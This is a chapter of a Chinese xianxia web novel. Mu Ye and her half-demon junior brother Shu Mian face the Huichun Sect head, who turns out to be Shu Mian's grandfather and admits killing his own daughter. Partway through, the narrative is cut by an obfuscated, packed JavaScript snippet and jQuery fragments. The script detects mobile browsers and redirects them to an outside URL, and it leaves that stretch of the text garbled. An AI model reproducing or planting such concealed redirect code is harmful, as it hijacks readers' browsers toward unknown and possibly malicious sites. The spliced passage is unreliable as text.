17.第 17 章

作品:《师弟,求你笑一个

    慕也一起床,就看到院子里的景象与往日不同。


    原本可以一览无余的庭院,被一棵不大不小的树占据了视觉空间,瞬间显得满当不少。


    树顶与房檐一般高,树上光秃秃的,一片叶子也没有,可光是枝干就让慕也觉得无比的熟悉。


    “这是……梧桐?”


    她有些不太确定,走上前摸了摸粗粝的树枝,那熟悉的触感与深层的记忆遥相呼应,让她更加确信了自己的想法。


    不仅是梧桐树,而且似乎还避开了山门内四季常春的禁制。


    应该是舒缅栽的吧。


    ——不过是昨日和他提了一嘴罢了。


    想起这个不断成长着的师弟,慕也的心稍稍软和了些。


    思及舒缅,对方也正好从房间里推开门出来。身上依旧穿着一成不变的黑衣,只是发带换了新的。


    “师姐。”


    慕也转过身,望向眉目轮廓逐渐变得明晰的舒缅,脸上浮起笑意:“这是你移来的?”


    “是。”


    “难为你费心啦。”


    慕也对他招招手,示意他过来。


    “你知道吗,在我的家乡有一个关于梧桐树的故事呢。


    “据说,有一位夫人喜爱梧桐树,她的丈夫为了讨她欢心,就命人将梧桐种满了整座城。”


    “听起来是不是很浪漫?”


    “然而——”


    她轻轻地抚摸树干,舒缅垂着眼认真听着。


    “我有一位友人,她对梧桐的花粉和飞絮过敏。一到春日,她便不堪其扰,痛骂那位夫人和她的丈夫。”


    “她说这群位高权重的人为了自己的痴情形象不管他人死活,害得别人连门都没法出。”


    说着,慕也自己笑了起来,笑到最后抿着的嘴角却平了:“不知她现在如何了。”


    “师姐既然想念她,为何不下山看她呢?”


    慕也摇摇头:“她不在山下。”


    “她也是仙门中人?”


    慕也这回连头也不摇了,只是抬高手去揉揉他的头:“不说这个了。”


    她很快又收拾好了这一丝落寞:“三月之后你便要去参与万宗法会了,这三个月里必须勤修苦练,尽可能地提升实力。”


    “还有……”


    慕也还想再叮嘱一些修炼时的注意事项,面前突然闪出一条标注着“十万火急”的传讯,根据灵力气息判断应当是祝子洲的。


    她还未来得及启封,就见这讯息自动爆裂开来,炸出祝子洲焦急万分的声音:


    “师妹你快跑啊回春门打上门来了说要抓你啊啊啊啊——”


    传讯以一记重击音戛然而止,听起来像是丹炉砸到了某个人的头上。


    慕也听得头盖骨疼,转头看向舒缅,两人面面相觑。


    “你怎么样?跟我一起走?”


    舒缅有些迟疑:“……不去救大师兄吗?”


    慕也莫名其妙地看向他:“他都说了他们是来抓我的了,我不跑难道上赶着送死吗?”


    她上辈子被病魔折磨多了,这辈子更惜命了。


    舒缅的表情就像是第一天认识自家师姐一样,但最终他还是点了点头:“我和你一起走。”


    一分钟后,舒缅忍不住了。


    “……师姐,不是要躲起来吗。”为什么这个方向好像是往大殿走啊。


    “……”慕也好不容易让责任心压过了惜命心,此时理直气壮:“古人云:最危险的地方就是最安全的地方。”


    “……哪个古人。”


    师姐加快了她飞行的速度,声音和脚下的剑一样稳:“不重要,他已经飞升了。”


    舒缅默默消化了飞升大能留下的千古箴言,不敢再置啄师姐话语的真理性,暗暗催动边月跟上流霜的速度。


    离大殿还有一段距离,已经能听到里面的吵闹声。


    “把慕也交出来!!”是个陌生的中年男子声音。


    “掌门你先冷静一下!!”这是陈依。


    “你想得美!我们是不会交出师妹的——哐!!”这是祝子洲,以及沉重的丹炉砸头声。


    流霜剑顿了顿,隐隐有掉头返航的趋势。


    “……师姐,别忘了古人的话。”


    慕也咬了咬牙,带着舒缅停到了屋檐上,侧着身子听檐下众人的对话。


    “师弟,掌门只是见到了疑似师姐炼制的丹药,太过心急而已,你也先冷静一下。”陈依听上去已经绞尽脑汁在打圆场了。


    “冷静什么?我女儿早就死了!但这丹药分明是前几日才炼制成的!!”回春门的掌门听起来气急败坏,“这究竟是怎么一回事?!赶紧让慕也那丫头出来说个清楚!!”


    舒缅压低了声音:“师姐,他们说的是丹炉挂坠里的丹药。”


    他用的是陈述句,听起来像是已经认定了。


    慕也也不瞒他:“是,我让陈依将丹药带回回春门研究,没想到捅出了这么大篓子。”


    看舒缅沉郁的面色和低垂的眼睫,她心里已有答案,但还是问了几日前便想问的问题:“……你的母亲,是回春门的人?”


    “嗯。”舒缅轻轻点头。


    “她是回春门掌门的女儿??”慕也之前听舒缅的叙述,还以为他母亲是一个出身平庸但天资卓绝的修士,没想到出身竟也如此不凡。


    按理来说,有这样的家庭,舒缅母子纵然是被抛弃了,也应当是能靠着前半辈子的积蓄锦衣玉食,而并非像现在这样连换洗的衣服都只有两套。


    舒缅没有回答,但他的神情相当于是默认。


    在听到那个掌门的声音后,他的情绪就忽然低落了下来,虽还不至于让系统发出警告,但已经和早上刚见面时判若两人。


    底下几人还在争吵,慕也却开始开始揣测起舒缅的心思。


    毕竟她真不知道这袖珍丹炉是怎么来的,回春门的人也不可能为了一颗扑朔迷离的丹药就将她杀了。但是现在底下的人是舒缅的外祖,而且如果她没猜错的话,他们应该至少也有十几年没见了。


    毕竟也是血亲,要不要让他们见一面?


    慕也很快又打消了这个念头,看舒缅的表情,他恐怕对这个外祖父没有什么感情,没有怨恨就不错了。


    而且舒缅的母亲是为了和妖族在一起才和家人断绝关系的——舒缅的半妖身份,大概对他们来说是耻辱吧。


    真可怜啊。爸爸不是人,妈妈离世了,外公不认他。


    慕也想到这里,看舒缅的眼神中更添了几分怜爱。


    她轻轻握住舒缅的手,给了师弟一个安抚的笑容:“你留在这里,我下去会会他。”


    她抽身欲走,却被舒缅拽住了手。


    “?”


    舒缅对她摇了摇头;“……他不会对你留情的。”


    “没事,”慕也捋开了舒缅的手,张扬地挑了挑眉,“玄玑掌门和师父都不会让我有事的。”


    说罢,她纵身一跃,轻盈地落到玉阶之上:“我就在此处,掌门有什么想问的尽管问吧。”


    众人没想到她会从天而降,纷纷骇了一跳。


    回春门的掌门是个全身上下连带胡须都打理得一丝不苟的男人,因为修炼的原因看不出具体的年岁。


    “你就是慕也。”他冷冷地看着她,“剑道天才,我知道你。”


    慕也谦虚地点了点头:“掌门谬赞了。”


    “我不是在夸你,”他皱了皱眉,“我此番是为了丹药而来。”


    “丹药,什么丹药?”她故意装傻充愣。


    中年男人扫了一眼陈依,陈依愧疚地看了一眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095788|161722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慕也,从芥子囊里取出了那枚丹药。


    “哦,这个呀,”慕也恍然大悟,“路上捡的,有什么问题吗?您应该知道的,我们剑修都很穷的。”


    男人冷笑了一声:“我倒是想知道,这种品级的丹药,哪条路上能捡到?”


    慕也笑意盈盈:“这个嘛,在山脚下不远的羊皮巷里捡到的。”


    “掌门若是需要,下次我去捡垃圾的时候带上您一起也不是不行。”


    “少胡扯,”他的脸色更冷了,“且不说这丹药的配方只有我与我女儿知晓,旁人就算是知道了这配方,也没有能力制出如此精细的药丸。”


    他指尖汇出青绿色的灵力,隐隐要对慕也发难:“但是我从没有亲手制过这药,我女儿也早就死了。”


    祝子洲猛地拦在慕也身前,长剑出鞘,剑锋大不敬地指向长辈:“还请掌门见谅。”


    慕也站在他身后,看着祝子洲脑袋上两个巨大无比的包,内心默默给大师兄点了个赞。明明那么菜,却还要逞英雄,真是越挫越勇的人才。


    她神情不改:“怎么,掌门是思念爱女了吗?如此执着地想要问出我丹药的来源。”


    “哼,”他不屑地扫了眼两个不自量力的小辈,“我只是想肃清门派的余孽罢了。”


    慕也闻言,脸上的笑意终于淡了,她按住祝子洲的肩膀,把他手中的剑按下去:“余孽?还请掌门解释下,这是什么意思。”


    “与妖族无媒苟合,难道不算门派的耻辱?”他反问道,“她若是还活着,我必要亲手解决她。”


    慕也心头猛地一惊。


    坏了!


    她想给舒缅比个手势叫他不要轻举妄动,却已经来不及了。


    “哗啦”一声,苍黑色的衣角在空中划过弧线,下一秒舒缅就已经落到了慕也身边。


    边月出鞘,剑指来人。


    他琥珀色的眼眸昭示着他与寻常人修的不同,眼神中的阴翳更是彰显了他内心难以遏制的情绪。


    在回春门掌门复杂难言的眼神中,舒缅冷冷地开口:


    “丹药是我炼的,配方是我娘教给我的,我就是你口中的余孽。”


    “——你要杀了我吗?”


    除了慕也以外,在场所有人都愣住了。他们惊异地看着舒缅,似乎诧异于他的出现,也诧异于他所说的那番话。


    舒缅竟然是半妖??还是回春门掌门的外孙??


    祝子洲瞪大眼睛看向慕也,后者对他耸了耸肩。


    舒遂见了舒缅,神情有片刻的松动。


    “你是舒蔓的孩子?”


    他向舒缅走了一步,硬质的鞋底在玉砖上踩出清脆的踢踏声。


    “我以为你早就死了。”


    舒缅与舒蔓那双相似的眉眼中充满了怒气,被这样一双眼睛死死看着,舒遂半晌后收回了指尖的灵力。


    他的语气竟然比方才还要温和不少:“那枚丹药,是你炼的?”


    舒缅不语,无声地瞪视着他。


    “你和你母亲一样,是此道的天才。”他竟然相信了舒缅的说辞。


    舒缅打断了他的话:“你为何不杀我。”


    舒遂反问:“你现在是什么身份?”


    慕也:“天一剑派丹云峰长老丹衡亲传弟子。”


    舒遂点了点头:“我没有处置你的权力。”


    他转身就要离开,舒缅却举着剑厉声喝住了他:“你对我母亲赶尽杀绝,就因为她没有任何人的庇护?!你不杀我,就因为我现在是天一剑派的弟子?!”


    “不,”男人转头瞥了他一眼,沉黑色的眼睛里流露出决绝,“我杀她,是因为她是我的女儿。”


    “我的女儿不能做出那种肮脏的事。”


    “——而你,对我来说只是一个普通的妖族而已。”